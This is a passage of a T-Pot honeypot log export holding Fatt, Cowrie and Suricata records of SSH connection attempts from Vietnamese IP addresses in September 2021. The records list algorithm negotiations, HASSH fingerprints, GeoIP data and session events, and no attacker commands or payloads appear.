"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47608, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.290476", "@timestamp": "2021-09-20T11:07:17.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23005	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:17.532513+03	2021-09-20 14:15:06.94747+03	{"_id": "PAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42170, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.532513", "@timestamp": "2021-09-20T11:07:17.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23006	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.591063+03	2021-09-20 14:15:06.949471+03	{"_id": "PQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57842, "timestamp": "2021-09-20T11:07:17.591063", "@timestamp": "2021-09-20T11:07:17.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23038	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.097792+03	2021-09-20 14:15:06.992472+03	{"_id": "4QbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:40870 (192.168.176.2:22) [session: 6ad6a154165c]", "session": "6ad6a154165c", "@version": "1", "protocol": "ssh", "src_port": 40870, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.097792Z", "@timestamp": "2021-09-20T11:07:21.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23007	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:17.772983+03	2021-09-20 14:15:06.95051+03	{"_id": "PgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44522, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.772983", "@timestamp": "2021-09-20T11:07:17.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23008	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.254246+03	2021-09-20 14:15:06.95147+03	{"_id": "PwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "926186f5e9fe", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.254246Z", "@timestamp": "2021-09-20T11:07:17.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23009	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:17.589005+03	2021-09-20 14:15:06.9535+03	{"_id": "HwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5ac5f1b830b0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.589005Z", "@timestamp": "2021-09-20T11:07:17.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23010	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.533091+03	2021-09-20 14:15:06.95447+03	{"_id": "QAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "926186f5e9fe", "@version": "1", "timestamp": "2021-09-20T11:07:17.533091Z", "@timestamp": "2021-09-20T11:07:17.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23011	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:17.550518+03	2021-09-20 14:15:06.95547+03	{"_id": "QQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eef8b70c24b3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:17.550518Z", "@timestamp": "2021-09-20T11:07:17.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23012	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:17.587052+03	2021-09-20 14:15:06.956503+03	{"_id": "QgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "579c1b78a46e", "@version": "1", "duration": 2.83514404296875, "timestamp": "2021-09-20T11:07:17.587052Z", "@timestamp": "2021-09-20T11:07:17.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23013	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:18.687536+03	2021-09-20 14:15:06.95847+03	{"_id": "RwbjAnwBvYTbRNuEigmB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1136559670095240, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43956, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.687536Z", "@timestamp": "2021-09-20T11:07:18.687Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
